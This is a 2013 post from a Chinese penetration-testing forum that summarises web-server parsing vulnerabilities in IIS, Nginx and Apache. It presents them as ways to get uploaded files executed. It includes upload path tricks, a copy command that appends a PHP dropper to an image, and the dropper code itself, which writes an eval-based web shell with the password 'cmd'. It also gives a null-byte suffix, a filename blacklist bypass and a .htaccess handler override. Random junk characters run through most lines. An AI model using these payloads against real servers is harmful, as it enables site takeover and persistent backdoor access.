中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
2 d  Q: P7 d% A8 Q[+]IIS6.0
  p- H# v. u5 I
6 J& L$ |# F- w9 F! u; C# \目录解析:/xx.asp/xx.jpg % C" u: X- v6 m
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码& k- R" t- b0 Z( p5 I. A; @
IIS6.0 会将 xx.jpg 解析为 asp 文件。& |2 H; e& a+ f' [: J
后缀解析:/xx.asp;.jpg     # }' {* a. R. q
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
5 V! m" J) L1 G" W默认解析:/xx.asa, k* L$ ]2 P$ r( C6 z% T9 B0 G
         /xx.cer
6 S! h7 F% R& I9 m  f; ]& a0 u         /xx.cdx
6 Y' t+ k7 D; `+ k. J+ e IIS6.0 默认的可执行文件除了 asp 还包含这三种
9 N8 [$ c) a8 k9 | 此处可联系利用目录解析漏洞
0 z% P* u& p- q4 z0 ^4 ~* k5 h/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
. e, Y6 |( W( T6 O[+]IIS 7.0/IIS 7.5/Nginx <0.8.039 {' G# @9 _' ?" `: X; l

4 b! K/ V9 S( L% s% B IIS 7.0/IIS 7.5/Nginx <0.8.03% A6 x) a. ?9 `  Z; P6 ]1 C, |
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
; C4 E6 d' A' Z5 } 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
" e$ @, J% a+ I9 \  Z 常用利用方法:9 [# {2 D; _1 h8 F4 d# X
将一张图和一个写入后门代码的文本文件合并将恶意文本
- M" ~9 @" i+ C0 c( V 写入图片的二进制代码之后,避免破坏图片文件头和尾4 q6 T2 z( q# W) k5 e
如:9 E: H# p1 N  x# T  H# n
copy xx.jpg /b + yy.txt/a xy.jpg( j3 \) n" x0 ~8 W$ m- n' b
#########################################################
; [. B# f, `2 a& B. ~7 o /b 即二进制[binary]模式
' P; z; w/ v8 C! [3 a5 Z) R /a 即ascii模式- I* P8 _0 X9 w" X; f+ a7 O" ^( e# ?+ I4 R
xx.jpg 正常图片文件/ a/ W" l8 n. s
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
3 v+ H9 i6 w$ a- t9 n '<?php eval($_POST[cmd])?>');?>
( O9 G1 B) I- H0 { 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
. z. ~+ o+ @! g 为shell.php的文件. P- G/ m6 o% K( B* P+ A
###########################################################
/ k7 C* M- e  K2 ~& Q0 @6 M 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php , L% V8 M# X, D9 P
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
9 S( Z+ Z4 g# B% E3 T4 c% O 密码 cmd
/ ~0 V6 m3 n6 c/ @. n[+]Nginx <0.8.03" J: M, |  Z6 l9 e

. w" A' Y- j' b; @" v 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
7 y+ h+ Z, J! k+ G9 }( c4 X, Q 在一个文件路径(/xx.jpg)后面加上%00.php
8 ?2 X. ?) S; m3 E 会将 /xx.jpg%00.php 解析为 php 文件。
! `  P) o" t, T2 Y. U; h0 @% `[+]Apache<0.8.03( @# k2 j8 o! v# a
6 N. V# B) f0 v1 C
后缀解析:test.php.x1.x2.x33 L! b' v2 i8 H% D% ?6 v! s
Apache将从右至左开始判断后缀,若x3非可识别后缀,
% b" R/ ~0 O8 f* `( i( ~ 再判断x2,直到找到可识别后缀为止,然后将该可识别9 i9 g  {& `/ D3 _+ J- {" a
后缀进解析test.php.x1.x2.x3 则会被解析为php
( u0 b- m5 N* u, C/ {0 G 经验之谈:php|php3|phtml 多可被Apache解析。
/ s) _/ D* r* M7 Z[+]其他一些可利用的
8 ~7 R" [& C+ J$ G' ~
, ^  k9 ]/ E4 o- o5 ~" H在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
1 F( ]1 x. S7 t( u4 b若这样命名,windows会默认除去空格或点,这也是可以被利用的!4 L2 r5 `- c& t, K* P2 D' X
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
3 \' h% f& k8 z% C& V& L或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
2 b/ {1 O; X( R9 U得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
! h* T! M' r. d# t, |, O  k* }{Linux主机中不行,Linux允许这类文件存在}
% v6 F% _" X& V* B$ p0 H0 G4 Q如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说7 C* L. E# O9 X1 J2 i3 ?7 \
的,当初我并不知道),且可以被上传,那可以尝试在
. U: ~" h0 E/ }. o/ ^3 L.htaccess中写入:
8 h5 T0 X7 M1 C  T7 \4 [<FilesMatch “shell.jpg”> " h; q5 }3 ~7 c+ Y
SetHandler application/x-httpd-php
+ |8 U3 |8 I$ |- v- S5 @) Q</FilesMatch>
, B2 T0 e- e8 S& n6 N3 F4 Nshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
2 m0 _! q( U" f$ b) }4 g/ O  e9 j) j[+]错误修改
  I) z7 ]6 Y( t/ I* i3 Z $ m( L, Y6 q3 ~( U! p& ~5 F5 [
在 IIS 6.0 下可解析 /xx.asp:.jpg
# _6 Y/ B9 w7 a& `! ]. ^" X{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
7 S( J2 c. l& z8 j) E剩下/xx.asp}修改:, C+ L; r- A$ F2 i! i0 D8 V
先谢谢核攻击的提醒5 f; n' [4 }# m8 D7 d2 b" V
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp# p+ ?6 C) o( j' B2 _  f4 t
里是没有任何内容的,因为。。不好解释 大家自己看% d; ~" O* w: R: K
http://lcx.cc/?i=2448) l  U1 e3 p9 G/ {" Y( H
http://baike.baidu.com/view/3619593.htm% O- {# J+ p1 M; y9 K

- H+ W! f2 M$ J1 b6 [) k




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2